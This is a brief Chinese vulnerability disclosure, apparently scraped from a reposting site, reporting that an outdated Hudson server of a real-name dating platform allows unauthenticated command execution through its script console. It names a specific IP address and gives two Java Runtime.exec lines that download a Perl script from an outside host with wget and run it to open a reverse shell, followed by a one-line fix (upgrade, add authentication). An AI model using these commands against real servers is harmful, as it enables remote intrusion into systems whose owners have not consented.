首家实名制相亲平台我在找你任意命令执行 - 网

Hudson版本太低，无用户验证功能，可直接任意执行系统命令   漏洞 证明：http://59.151.1.116:8080/script 反弹shell   java.lang.Runtime.getRuntime().exec('wget http://HdhCmsTestXXX测试数据/uploads/XX.pl -O /tmp/XX.pl')   java.lang.Runtime.getRuntime().exec('perl /tmp/XX.pl xxx.xxx.xxx.xxx XX')         修复方案： 升级，添加验证 作者 Z-0ne

查看更多关于首家实名制相亲平台我在找你任意命令执行 - 网的详细内容...